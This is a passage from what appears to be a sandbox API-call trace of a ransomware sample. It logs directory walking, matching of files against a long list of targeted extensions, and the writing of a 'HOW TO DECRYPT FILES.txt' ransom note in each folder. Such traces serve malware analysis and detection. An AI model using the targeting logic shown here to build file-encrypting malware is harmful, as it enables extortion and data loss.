pszSpec="*.p12") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.gpg") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.vsd") returned 0 [0104.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.odg") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.raw") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.nef") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.svg") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.psd") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.vmx") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.vmdk") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.vdi") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.lay6") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mpeg") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.djvu") returned 0 [0104.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.tiff") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.backup") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.pdf") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.cert") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.docm") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.xlsm") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.dwg") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.nd") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.tlg") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.lgb") returned 0 [0104.695] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mov") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.xdw") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.ods") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.wav") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.mp3") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.aiff") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.flac") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.m4a") returned 0 [0104.696] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\stdole\\2c6d60b55bbab22515c512080d4b3bae\\stdole.ni.dll", pszSpec="*.csv") returned 0 [0104.696] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21becf50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21becf50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21becf50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="stdole.ni.dll", cAlternateFileName="STDOLE~1.DLL")) returned 0 [0104.696] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.697] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21c130b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x21c130b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x21c130b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2c6d60b55bbab22515c512080d4b3bae", cAlternateFileName="2C6D60~1")) returned 0 [0104.697] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.697] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b351e76, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740073, dwReserved1=0x6f0064, cFileName="sysglobl", cAlternateFileName="")) returned 1 [0104.697] lstrcmpA (lpString1=".", lpString2="sysglobl") returned -1 [0104.697] lstrcmpA (lpString1="..", lpString2="sysglobl") returned -1 [0104.697] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.697] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="sysglobl" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl" [0104.697] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b351e76, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.698] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b351e76, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.698] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.698] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.698] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b377fd6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8abe9d895b3e9efe741b9162cb9206fc", cAlternateFileName="8ABE9D~1")) returned 1 [0104.698] lstrcmpA (lpString1=".", lpString2="8abe9d895b3e9efe741b9162cb9206fc") returned -1 [0104.698] lstrcmpA (lpString1="..", lpString2="8abe9d895b3e9efe741b9162cb9206fc") returned -1 [0104.698] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\*.*") returned="*.*" [0104.698] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\", lpString2="8abe9d895b3e9efe741b9162cb9206fc" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc" [0104.698] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b377fd6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.699] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.699] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b377fd6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.699] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.699] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.699] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b32bd16, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b32bd16, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b32bd16, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.ni.dll", cAlternateFileName="SYSGLO~1.DLL")) returned 1 [0104.699] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.699] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sysglobl.ni.dll") returned -1 [0104.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sysglobl.ni.dll") returned -1 [0104.699] lstrcmpiA (lpString1="", lpString2="sysglobl.ni.dll") returned -1 [0104.699] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\*.*") returned="*.*" [0104.699] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\" [0104.699] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\") returned="" [0104.700] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\HOW TO DECRYPT FILES.txt" [0104.700] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\how to decrypt files.txt")) returned 0xffffffff [0104.700] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.701] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.703] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.703] CloseHandle (hObject=0x90) returned 1 [0104.703] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\", lpString2="sysglobl.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll" [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.ems") returned 0 [0104.703] lstrlenA (lpString="*.ems") returned 5 [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.db") returned 0 [0104.703] lstrlenA (lpString="*.db") returned 4 [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.dbf") returned 0 [0104.703] lstrlenA (lpString="*.dbf") returned 5 [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.myox") returned 0 [0104.703] lstrlenA (lpString="*.myox") returned 6 [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.myo") returned 0 [0104.703] lstrlenA (lpString="*.myo") returned 5 [0104.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbw") returned 0 [0104.704] lstrlenA (lpString="*.qbw") returned 5 [0104.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbb") returned 0 [0104.704] lstrlenA (lpString="*.qbb") returned 5 [0104.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbm") returned 0 [0104.717] lstrlenA (lpString="*.qbm") returned 5 [0104.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbo") returned 0 [0104.717] lstrlenA (lpString="*.qbo") returned 5 [0104.717] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbx") returned 0 [0104.717] lstrlenA (lpString="*.qbx") returned 5 [0104.718] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qba") returned 0 [0104.719] lstrlenA (lpString="*.qba") returned 5 [0104.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qby") returned 0 [0104.719] lstrlenA (lpString="*.qby") returned 5 [0104.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qbj") returned 0 [0104.719] lstrlenA (lpString="*.qbj") returned 5 [0104.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.ofx") returned 0 [0104.719] lstrlenA (lpString="*.ofx") returned 5 [0104.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.qif") returned 0 [0104.719] lstrlenA (lpString="*.qif") returned 5 [0104.719] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mye") returned 0 [0104.719] lstrlenA (lpString="*.mye") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mbox") returned 0 [0104.721] lstrlenA (lpString="*.mbox") returned 6 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.eml") returned 0 [0104.721] lstrlenA (lpString="*.eml") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.pst") returned 0 [0104.721] lstrlenA (lpString="*.pst") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.ost") returned 0 [0104.721] lstrlenA (lpString="*.ost") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.idx") returned 0 [0104.721] lstrlenA (lpString="*.idx") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.dbx") returned 0 [0104.721] lstrlenA (lpString="*.dbx") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.sql") returned 0 [0104.721] lstrlenA (lpString="*.sql") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mdb") returned 0 [0104.721] lstrlenA (lpString="*.mdb") returned 5 [0104.721] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.fdb") returned 0 [0104.721] lstrlenA (lpString="*.fdb") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.wab") returned 0 [0104.722] lstrlenA (lpString="*.wab") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.dat") returned 0 [0104.722] lstrlenA (lpString="*.dat") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.txt") returned 0 [0104.722] lstrlenA (lpString="*.txt") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.jpeg") returned 0 [0104.722] lstrlenA (lpString="*.jpeg") returned 6 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.jpg") returned 0 [0104.722] lstrlenA (lpString="*.jpg") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.png") returned 0 [0104.722] lstrlenA (lpString="*.png") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.php") returned 0 [0104.722] lstrlenA (lpString="*.php") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.cs") returned 0 [0104.722] lstrlenA (lpString="*.cs") returned 4 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.cpp") returned 0 [0104.722] lstrlenA (lpString="*.cpp") returned 5 [0104.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.rar") returned 0 [0104.722] lstrlenA (lpString="*.rar") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.zip") returned 0 [0104.723] lstrlenA (lpString="*.zip") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.html") returned 0 [0104.723] lstrlenA (lpString="*.html") returned 6 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.htm") returned 0 [0104.723] lstrlenA (lpString="*.htm") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.xlsx") returned 0 [0104.723] lstrlenA (lpString="*.xlsx") returned 6 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.xls") returned 0 [0104.723] lstrlenA (lpString="*.xls") returned 5 [0104.723] PathMatchSpecA 